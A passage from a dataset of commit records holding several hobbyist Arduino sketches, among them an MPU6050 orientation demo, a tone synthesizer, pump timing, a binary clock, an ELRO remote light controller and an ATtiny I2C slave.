fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n\n\/\/ uncomment \"OUTPUT_READABLE_QUATERNION\" if you want to see the actual\n\/\/ quaternion components in a [w, x, y, z] format (not best for parsing\n\/\/ on a remote host such as Processing or something though)\n\/\/#define OUTPUT_READABLE_QUATERNION\n\n\/\/ uncomment \"OUTPUT_READABLE_EULER\" if you want to see Euler angles\n\/\/ (in degrees) calculated from the quaternions coming from the FIFO.\n\/\/ Note that Euler angles suffer from gimbal lock (for more info, see\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n#define OUTPUT_READABLE_EULER\n\n\/\/ uncomment \"OUTPUT_READABLE_YAWPITCHROLL\" if you want to see the yaw\/\n\/\/ pitch\/roll angles (in degrees) calculated from the quaternions coming\n\/\/ from the FIFO. Note this also requires gravity vector calculations.\n\/\/ Also note that yaw\/pitch\/roll angles suffer from gimbal lock (for\n\/\/ more info, see: http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n\/\/#define OUTPUT_READABLE_YAWPITCHROLL\n\n\/\/ uncomment \"OUTPUT_READABLE_REALACCEL\" if you want to see acceleration\n\/\/ components with gravity removed. This acceleration reference frame is\n\/\/ not compensated for orientation, so +X is always +X according to the\n\/\/ sensor, just without the effects of gravity. If you want acceleration\n\/\/ compensated for orientation, us OUTPUT_READABLE_WORLDACCEL instead.\n\/\/#define OUTPUT_READABLE_REALACCEL\n\n\/\/ uncomment \"OUTPUT_READABLE_WORLDACCEL\" if you want to see acceleration\n\/\/ components with gravity removed and adjusted for the world frame of\n\/\/ reference (yaw is relative to initial orientation, since no magnetometer\n\/\/ is present in this case). Could be quite handy in some cases.\n\/\/#define OUTPUT_READABLE_WORLDACCEL\n\n\/\/ uncomment \"OUTPUT_TEAPOT\" if you want output that matches the\n\/\/ format used for the InvenSense teapot demo\n\/\/#define OUTPUT_TEAPOT\n\n\n\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(57600);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(0, dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n #ifdef OUTPUT_READABLE_QUATERNION\n \/\/ display quaternion values in easy matrix form: w x y z\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n Serial.print(\"quat\\t\");\n Serial.print(q.w);\n Serial.print(\"\\t\");\n Serial.print(q.x);\n Serial.print(\"\\t\");\n Serial.print(q.y);\n Serial.print(\"\\t\");\n Serial.println(q.z);\n #endif\n\n #ifdef OUTPUT_READABLE_EULER\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetEuler(euler, &q);\n int xDeg = (int)(euler[0]*90\/M_PI)+90;\n int yDeg = (int)(euler[1]*90\/M_PI)+90;\n int zDeg = (int)(euler[2]*90\/M_PI)+90;\n Serial.print(\"euler\\t\");\n Serial.print(xDeg);\n Serial.print(\"\\t\");\n Serial.print(yDeg);\n Serial.print(\"\\t\");\n Serial.println(zDeg);\n analogWrite(3, xDeg);\n analogWrite(5, yDeg);\n analogWrite(6, zDeg);\n #endif\n\n #ifdef OUTPUT_READABLE_YAWPITCHROLL\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.println(ypr[2] * 180\/M_PI);\n #endif\n\n #ifdef OUTPUT_READABLE_REALACCEL\n \/\/ display real acceleration, adjusted to remove gravity\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n Serial.print(\"areal\\t\");\n Serial.print(aaReal.x);\n Serial.print(\"\\t\");\n Serial.print(aaReal.y);\n Serial.print(\"\\t\");\n Serial.println(aaReal.z);\n #endif\n\n #ifdef OUTPUT_READABLE_WORLDACCEL\n \/\/ display initial world-frame acceleration, adjusted to remove gravity\n \/\/ and rotated based on known orientation from quaternion\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetAccel(&aa, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\n mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);\n Serial.print(\"aworld\\t\");\n Serial.print(aaWorld.x);\n Serial.print(\"\\t\");\n Serial.print(aaWorld.y);\n Serial.print(\"\\t\");\n Serial.println(aaWorld.z);\n #endif\n \n #ifdef OUTPUT_TEAPOT\n \/\/ display quaternion values in InvenSense Teapot demo format:\n teapotPacket[2] = fifoBuffer[0];\n teapotPacket[3] = fifoBuffer[1];\n teapotPacket[4] = fifoBuffer[4];\n teapotPacket[5] = fifoBuffer[5];\n teapotPacket[6] = fifoBuffer[8];\n teapotPacket[7] = fifoBuffer[9];\n teapotPacket[8] = fifoBuffer[12];\n teapotPacket[9] = fifoBuffer[13];\n Serial.write(teapotPacket, 14);\n teapotPacket[11]++; \/\/ packetCount, loops at 0xFF on purpose\n #endif\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CreatedCode\/Arduino\/MPU6050Arduino1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5bdedf3701322f2a3a677d49acedd381a684a291","subject":"Initial commit for code","message":"Initial commit for code","repos":"jack-the-coder\/soundSynth","old_file":"soundSynth.ino","new_file":"soundSynth.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(2, INPUT);\n pinMode(3, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n\n pinMode(13, OUTPUT);\n\n\n}\n\n\n\nvoid loop() {\n \n int len = 500;\n int t1 = 220;\n int t2 = 246.94;\n int t3 = 277.18;\n int t4 = 293.66;\n int t5 = 329.63;\n \n if (digitalRead(2) == HIGH) {\n tone(13, t1);\n delay(len);\n noTone(13);\n\n\n }\n\n if (digitalRead(3) == HIGH) {\n tone(13, t2);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(4) == HIGH) {\n tone(13, t3);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(5) == HIGH) {\n tone(13, t4);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(6) == HIGH) {\n tone(13, t5);\n delay(len);\n noTone(13);\n\n\n\n\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'soundSynth.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e501ed382affb1d451cd178392c46a07b0281f0f","subject":"Create AWSCPumpTiming.ino","message":"Create AWSCPumpTiming.ino","repos":"dotsonlab\/awsc,dotsonlab\/awsc","old_file":"AWSCPumpTiming\/AWSCPumpTiming.ino","new_file":"AWSCPumpTiming\/AWSCPumpTiming.ino","new_contents":"\nunsigned long t=0; \nunsigned long tpump=0;\nunsigned long tair=0;\nint airstatus=0;\nint pumpstatus=0;\n\/\/pins\nconst int Pump = 8;\nconst int Air = 7;\n\/\/Edit these times below to change factors\nunsigned long PumpInterval= 60000 *360;\/\/How often in min\nunsigned long AirInterval= 60000 *15;\/\/How often in min\nunsigned long PumpRunTime = 60000 *.5;\/\/How Long in min\nunsigned long AirRunTime = 60000 *1;\/\/How Long in min\n\nvoid setup() {\npinMode(Pump, OUTPUT);\npinMode(Air, OUTPUT);\n\/\/convert to milli sec\n\/*PumpInterval = 60000 * PumpInterval;\nAirInterval = 60000 * AirInterval;\nPumpRunTime = 60000 * PumpRunTime;\nAirRunTime = 60000 * AirRunTime;*\/\ntair = AirInterval;\ntpump = PumpInterval;\n}\nvoid AirFunction(int s){\n if (s==1 && pumpstatus==0){\n digitalWrite(Air, HIGH);\n airstatus = 1;\n tair =t;\n }\n else if (s ==0){\n digitalWrite(Air, LOW);\n airstatus =0;\n }\n}\nvoid PumpFunction(int s){\n if (s==1){\n digitalWrite(Pump, HIGH);\n pumpstatus = 1;\n tpump =t;\n }\n else if (s ==0){\n digitalWrite(Pump, LOW);\n pumpstatus =0;\n}}\nvoid waiting(){\/\/function to read and report everything at given intervals\n t= millis() +PumpInterval;\n if (t-tair<0){}\n else if ((t-tair>0) && t-tair > AirInterval + AirRunTime){\n AirFunction(1);\n }\n else if (t-tair > AirRunTime && airstatus==1){\n AirFunction(0);\n }\n if (t-tpump<0){}\n else if ((t-tpump>0) && (t-tpump > PumpInterval+PumpRunTime)){\n AirFunction(0);\n PumpFunction(1);\n }\n else if (t-tpump>0 && t-tpump > PumpRunTime){\n PumpFunction(0);\n }\n}\nvoid loop() {\n delay(5000);\n waiting();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AWSCPumpTiming\/AWSCPumpTiming.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d1eede0cd880ba85edec948d001ab3e3a2899140","subject":"Create base2clock7.ino","message":"Create base2clock7.ino\n\nCreated for compatibility with dumb smart phone.","repos":"linuxmania\/base2clock","old_file":"base2clock7.ino","new_file":"base2clock7.ino","new_contents":"\/***************************\n*\n* base 2 clock code for arduino\n* Copyleft (C) 2015 Daniel K. Spicer\n*\n* This program is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\n****************************\/\n\n\/\/ adjust this value to tune the clock. 10,000 should be close, lower if clock runs slow, higher if fast.\n\/\/ #define INTERVAL_TIME 9991 slightly slow\n\/\/ #define INTERVAL_TIME 9990 very slightly slow\n\n#define INTERVAL_TIME 9993\n\n\/\/ fine tune here after establishing an INTERVAL_TIME which is slighly slow and if you decrease by one it\n\/\/ will be fast. The higher this number the faster. If 99 is still too slow, drop INTERVAL_TIME by one. \n\n#define PERCENT_FASTER 1\n\n\/\/int's representing led's. 1 = on, 0 = off. Initially they will all be off.\nint p1,p2,p3,p4,p5,p6,p7,p8 = 0;\nint iterations, count, time_count = 0;\nint interval_time = INTERVAL_TIME;\nboolean time_set, increment_flg = false;\nunsigned long mils, prev_mils = 0;\n\n\/\/ function prototypes\nvoid setTimeSlow();\nvoid setTimeFast();\nvoid resetTimeSetFlags();\nboolean setIncrementFlag();\nvoid doIncrement();\nvoid lightLights();\n\nvoid setup(){\n\/\/8 led's as outputs.\n\u00a0\u00a0pinMode(13, OUTPUT);\n\u00a0\u00a0pinMode(12, OUTPUT);\n\u00a0\u00a0pinMode(11, OUTPUT);\n\u00a0\u00a0pinMode(10, OUTPUT);\n\u00a0\u00a0pinMode(9, OUTPUT);\n\u00a0\u00a0pinMode(8, OUTPUT);\n\u00a0\u00a0pinMode(7, OUTPUT);\n\u00a0\u00a0pinMode(6, OUTPUT);\n\u00a0\u00a0\n pinMode(2, INPUT);\n\u00a0\u00a0digitalWrite(2, HIGH);\n\u00a0\u00a0pinMode(3, INPUT);\n\u00a0\u00a0digitalWrite(3, HIGH);\n\n\u00a0\u00a0attachInterrupt(0, setTimeSlow , LOW); \/\/ pin 2\n\u00a0\u00a0attachInterrupt(1, setTimeFast , LOW); \/\/ pin 3\n\n\u00a0\u00a0prev_mils = millis();\n \n} \/\/ end setup()\n\nvoid loop(){\n\u00a0\u00a0if(time_set){ \/\/time has been set, so increment as instructed.\n\u00a0\u00a0\u00a0\u00a0time_count++;\n\u00a0\u00a0\u00a0\u00a0if(time_count == 1000 - (10*PERCENT_FASTER))\n\u00a0\u00a0\u00a0\u00a0\u00a0interval_time -= 1;\n\u00a0\u00a0\u00a0\u00a0if(time_count >= 1000){\n\u00a0\u00a0\u00a0\u00a0\u00a0time_count = 0;\n\u00a0\u00a0\u00a0\u00a0\u00a0interval_time = INTERVAL_TIME;\n\u00a0\u00a0\u00a0\u00a0}\n\n\u00a0\u00a0\u00a0\u00a0iterations++;\n\u00a0\u00a0\u00a0\u00a0if(iterations == 6){\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0iterations = 0;\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if(!setIncrementFlag()) \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0doIncrement(); \n\u00a0\u00a0\u00a0\u00a0}\n\u00a0\u00a0} else { \/\/ time has never been set so just blink the lights.\n\u00a0\u00a0\u00a0\u00a0if(p8 == 0)\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 1;\n\u00a0\u00a0\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\n\u00a0\u00a0\u00a0\u00a0lightLights();\n\u00a0\u00a0}\n\n\u00a0\u00a0\/\/ figure out the loop delay, typically 10 seconds, 1 second if the time has never been set\n\u00a0\u00a0\/\/ and we are blinking the lights\n\u00a0\u00a0if(!time_set) \n\u00a0\u00a0\u00a0\u00a0delay(1000);\n\u00a0\u00a0else delay(interval_time);\n} \/\/ end loop()\n\nvoid setTimeSlow(){\n\u00a0\u00a0resetTimeSetFlags();\n\u00a0\u00a0mils = millis();\n\u00a0\u00a0if(mils - prev_mils > 50)\n\u00a0\u00a0\u00a0\u00a0doIncrement();\n\u00a0\u00a0prev_mils = mils; \n}\n\nvoid setTimeFast(){\n\u00a0\u00a0resetTimeSetFlags(); \n\u00a0\u00a0count++;\n\u00a0\u00a0if(count > 5000){\n\u00a0\u00a0\u00a0\u00a0count = 0;\n\u00a0\u00a0\u00a0\u00a0doIncrement();\n\u00a0\u00a0} \n}\n\nvoid resetTimeSetFlags(){\n\u00a0\u00a0time_set = true;\n\u00a0\u00a0iterations = 0;\n\u00a0\u00a0increment_flg = false;\n}\n\nboolean setIncrementFlag(){\n\u00a0\u00a0if(increment_flg == false && (p8 == 0 || p7 == 0 || p6 == 0)){\n\u00a0\u00a0\u00a0\u00a0increment_flg = true;\n\u00a0\u00a0\u00a0\u00a0return true;\n\u00a0\u00a0}\n\u00a0\u00a0return false;\n}\n\nvoid doIncrement(){\n\u00a0\u00a0increment_flg = false;\n\n\u00a0\u00a0if(p8 == 0){\n\u00a0\u00a0\u00a0\u00a0p8 = 1;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p7 == 0){\n\u00a0\u00a0\u00a0\u00a0p7 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p6 == 0){\n\u00a0\u00a0\u00a0\u00a0p6 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p5 == 0){\n\u00a0\u00a0\u00a0\u00a0p5 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p4 == 0){\n\u00a0\u00a0\u00a0\u00a0p4 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p3 == 0){\n\u00a0\u00a0\u00a0\u00a0p3 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p2 == 0){\n\u00a0\u00a0\u00a0\u00a0p2 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = p3 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else if (p1 == 0){\n\u00a0\u00a0\u00a0\u00a0p1 = 1;\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = p3 = p2 = 0;\n\u00a0\u00a0} \n\u00a0\u00a0else { \/\/ all lights were lit, so this increment resets them to all off\n\u00a0\u00a0\u00a0\u00a0p8 = p7 = p6 = p5 = p4 = p3 = p2 = p1 = 0;\n\u00a0\u00a0}\n\n\u00a0\u00a0lightLights();\n} \/\/ end doIncrement()\n\n\nvoid lightLights() {\n\u00a0\u00a0if(p1 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(13, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(13, LOW);\n\u00a0\u00a0if(p2 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(12, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(12, LOW);\n\u00a0\u00a0if(p3 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(11, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(11, LOW);\n\u00a0\u00a0if(p4 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(10, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(10, LOW);\n\u00a0\u00a0if(p5 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(9, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(9, LOW);\n\u00a0\u00a0if(p6 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(8, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(8, LOW);\n\u00a0\u00a0if(p7 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(7, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(7, LOW);\n\u00a0\u00a0if(p8 == 1)\n\u00a0\u00a0\u00a0\u00a0digitalWrite(6, HIGH);\n\u00a0\u00a0else\t\n\u00a0\u00a0\u00a0\u00a0digitalWrite(6, LOW);\n} \/\/ end lightLights()\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'base2clock7.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ad796e6128160d6077ba03e7afcbe34723aa94f0","subject":"Elro Sender","message":"Elro Sender\n","repos":"barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation","old_file":"Arduino\/ELROSender\/ELROSender.ino","new_file":"Arduino\/ELROSender\/ELROSender.ino","new_contents":"#include <RemoteReceiver.h>\n#include \"SocketIOClient.h\"\n#include \"Ethernet.h\"\n#include \"SPI.h\"\n#include <string.h>\n\n\/\/ Used for the ElRO remote functionality\nconst int transmitterAddress = 12;\nconst int transmitterPin = 7;\nconst int transmitterPeriod = 320;\nconst int transmitterTimes = 320;\n\nNewRemoteTransmitter transmitter(transmitterPin, transmitterPeriod, transmitterTimes);\n\n\/\/ Ethernet details\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar hostname[] = \"ardnmtn.barthopster.nl\";\nint port = 8181;\n\nSocketIOClient client;\n\nvoid setup() {\n Serial.begin(57600);\n \n \/\/ Init the Ethernet shield\n Ethernet.begin(mac);\n \n \/\/ Connect!\n if (!client.connect(hostname, port))\n Serial.println(\"Not connected.\");\n \n \/\/ Catch any received data\n client.setDataArrivedDelegate(onData);\n \n \/\/ Second handshake\n client.send(\"Say welcome\");\n}\n\nvoid loop() {\n client.monitor();\n}\n\n\/\/ Websocket message handler\nvoid onData(SocketIOClient client, char *data) {\n char lightChar;\n \n \/\/ Light 1\n if(strstr(data, \"1\")) {\n lightChar = 'A';\n }\n \n \/\/ Light 2\n if(strstr(data, \"2\")) {\n lightChar = 'B';\n }\n \n \/\/ Light 3\n if(strstr(data, \"3\")) {\n lightChar = 'C';\n }\n \n \/\/ Light 4\n if(strstr(data, \"4\")) {\n lightChar = 'D';\n }\n \n \/\/ Turn on the light\n if(strstr(data, \"on\")) {\n transmitter.sendUnit(lightNumber, true);\n } else { \/\/ Turn off\n transmitter.sendUnit(lightNumber, false);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ELROSender\/ELROSender.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"132a19a303e18c4e076413bd130e4625f658fea5","subject":"Create Attiny_slave.ino","message":"Create Attiny_slave.ino","repos":"TaylorHokanson\/CAAint","old_file":"Modules\/i2c_test\/Attiny_slave.ino","new_file":"Modules\/i2c_test\/Attiny_slave.ino","new_contents":"\/\/ https:\/\/thewanderingengineer.com\/2014\/02\/17\/attiny-i2c-slave\/\n\/\/ Code for the ATtiny85\n\n#define I2C_SLAVE_ADDRESS 0x4 \/\/ Address of the slave\n \n#include <TinyWireS.h>\n \nint i=0;\n \nvoid setup()\n{\n TinyWireS.begin(I2C_SLAVE_ADDRESS); \/\/ join i2c network\n \/\/TinyWireS.onReceive(receiveEvent); \/\/ not using this\n TinyWireS.onRequest(requestEvent);\n \n \/\/ Turn on LED when program starts\n pinMode(1, OUTPUT);\n digitalWrite(1, HIGH);\n\n}\n \nvoid loop()\n{\n \/\/ This needs to be here\n TinyWireS_stop_check();\n}\n \n\/\/ Gets called when the ATtiny receives an i2c request\nvoid requestEvent()\n{\n TinyWireS.send(i);\n i++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/i2c_test\/Attiny_slave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10e64eda355708bfa577449d1e31204ec54a9869","subject":"Adding arduino sketch","message":"Adding arduino sketch\n","repos":"okofish\/java,okofish\/java","old_file":"sketch.ino","new_file":"sketch.ino","new_contents":"\/\/ this programs exists solely because the imp can't power the relay.\n\nint R1 = 7;\nint RIN = 2;\n\nvoid setup() { \n pinMode(R1, OUTPUT);\n pinMode(RIN, INPUT);\n} \n\n\nvoid loop() {\n if (digitalRead(RIN) == HIGH) {\n digitalWrite(R1,HIGH);\n } else {\n digitalWrite(R1,LOW);\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a55420076b6ca5df867f1ab634716e83a5b29fd2","subject":"Create Airfoil.ino","message":"Create Airfoil.ino","repos":"d008\/MAE224,d008\/MAE224,d008\/MAE224,d008\/MAE224","old_file":"Airfoil.ino","new_file":"Airfoil.ino","new_contents":"\/\/switch mux to channel 15 and read the value\n \/\/int val = readMux(15);\n \n\/\/Mux control top pins\nint t0 = D0;\nint t1 = D1;\nint t2 = D2;\nint t3 = D3;\n\/\/Mux control bottom pins\nint b0 = D4;\nint b1 = D5;\nint b2 = D6;\nint b3 = D7;\nint vals[32];\ndouble ang=0.0;\n\/\/Mux in \"SIG\" pin\nint topSig = A1;\n\/\/Mux in \"SIG\" pin\nint botSig = A0;\nint inclinometer = A2;\nint topControl[] = {t0, t1, t2, t3};\nint bottomControl[] = {b0, b1, b2, b3};\ndouble avg = 1000.0;\nint muxChannel[16][4]={\n {0,0,0,0}, \/\/channel 0\n {1,0,0,0}, \/\/channel 1\n {0,1,0,0}, \/\/channel 2\n {1,1,0,0}, \/\/channel 3\n {0,0,1,0}, \/\/channel 4\n {1,0,1,0}, \/\/channel 5\n {0,1,1,0}, \/\/channel 6\n {1,1,1,0}, \/\/channel 7\n {0,0,0,1}, \/\/channel 8\n {1,0,0,1}, \/\/channel 9\n {0,1,0,1}, \/\/channel 10\n 